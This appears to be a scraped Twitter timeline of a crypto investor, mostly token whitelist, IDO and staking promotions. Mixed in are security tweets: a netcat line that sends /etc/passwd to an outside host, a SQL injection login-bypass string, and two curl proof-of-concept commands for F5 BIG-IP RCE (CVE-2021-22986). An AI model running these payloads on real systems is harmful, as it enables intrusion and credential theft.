Tung Phan

SecOps | Crypto Invester | Credit Farmer

[Tung Phan @tungpdv]

@layerexe_
@Serinvevera
@dlct307

[Xend Finance 🌍 ($RWA) @xendfinance]

The first #DeFi and #BinanceSmartChain project out of Africa has Pre-Launched its mainnet ahead of TGE

That would be us😉 The exclusive Pre-Launch Rewards Program will give you an opportunity to earn 100k $XEND for testing our platform.@BinanceChain

🌐 https://t.co/qs0ogEEmcs

[Tung Phan @tungpdv]

@Serinvevera @layerexe_

[DuckDAO 🐣 @dao_duck]

💪 DuckSTARTER Time!⚡️

The ethbox $EBOX whitelist is now open!

Follow
@ethbox_official

&

@dao_duck

Like, RT, and Tag 2️⃣ Friends (with a nice message)

🐥 Find out how to participate: https://t.co/4i1Xp0vPBE

$DUCK $EBOX #OTC #blockchain #crypto

[Tung Phan @tungpdv]

@BosonProtocol To bad when trying KYC .:) Please upgrade and noti again for KYC .

[Tung Phan @tungpdv]

@Serinvevera

[M Space @MSpaceVenture]

We're pleased to introduce the whitelist for our #IDO on @bounce_finance! Join now: https://t.co/KubPSX8NXw

[Tung Phan @tungpdv]

@dlct307
@tnthngan
@Serinvevera

[PIXEL DAO @PIXEL_DAO]

Ladies and gentlemen, we are truly pixel pumped to be launching the PixelDAO heART$ program and having it evolve under PIXD community governance!

https://t.co/ydwJLgl1XO

[Tung Phan @tungpdv]

@Kollector_token @ZiggyCrypto When market is live ?

[FINXFLO @Finxflo]

Mark your calendars 📅📅

the $FXF #platform will launch on 3 May.
Watch this space for more #details later today!

[Lepricon.io @lepriconio]

$L3P Staking is now LIVE on @MANTRADAO 🔥

We are starting off the target APY at 77%! This early APY will be extremely advantageous to early adopters, yielding extra gains simply by staking 🚀

The $L3P staking pool is already open at https://t.co/X4FeT2fGdz so hop in right now!

[Mas Zet @zetc0de]

@ofjaaah The main vulnerability is blind RCE, somehow execute command through backtick, SSRF just for delivering result... The same way using `cat /etc/passwd | nc x.x.x.x 1234`

[Germán Fernández @1ZRR4H]

Monitor de Red ATM en Brasil 🇧🇷
Login bypass (' or ''=')😬

[RIVER @wugeej]

PoC #2

curl -ks https://[victimIP]/mgmt/shared/authn/login -d '{"bigipAuthCookie":"","loginReference":{"link":"http://localhost/mgmt/tm/access/bundle-install-tasks"},"filePath":"`id`"}'

[RIVER @wugeej]

F5 BIG-IP iControl RCE (CVE-2021-22986)

execute arbitrary system commands
create or delete files
disable services

PoC #1
curl -su admin: -H "Content-Type: application/json" http://[victimIP]/mgmt/tm/util/bash -d '{"command":"run","utilCmdArgs":"-c id"}'

https://t.co/6i3IYFeHt5

[Tung Phan @tungpdv]

@lepriconio Congrats team , let do it .

[Manikanta @secureitmania]

Checkout my latest BugBounty writeup os command injection
@ADITYASHENDE17 @intigriti
https://t.co/mXECZzZcR7

#infosec #cybersecurity #hackerone #apisecurity #informationsecurity #bugbountytip #bugcrowd

[Tung Phan @tungpdv]

@dlct307
@tnthngan
@Serinvevera

[Tidal Finance 🐋 @tidaldefi]

🔥We are excited to announce the Whitelisting for our @polkastarter IDO! Secure your spot for the $TIDAL IDO on 23rd March⚡️

🕜Ends on 21st March at 3PM UTC

Whitelisting details: https://t.co/xwMTXEq3mc
Form: https://t.co/E3nHh4xORr
Tidal's Sale Page :https://t.co/X5GSV0tG7W

[CryptoDiffer Analytics @CryptoDiffer]

❗️ @TidalDeFi $TIDAL Whitelist for @Polkastarter IDO is Now Open!

Tidal Finance will be allocating $100,000 worth of TIDAL tokens on Polkastarter. The Polkastarter IDO Whitelisting phase closes on 21st March at 3:00 PM UTC.

👉 https://t.co/4sA1OouPxX

[Tung Phan @tungpdv]

@lepriconio Congrats #L3P Team , so it great .

[spidersec @SpiderSec]

When you test a Django, Rails, or NodeJs web app try the following payloads in the "Accept:" header. 😀

Payloads:

[Tung Phan @tungpdv]

@LaminarProtocol When private sell is open ?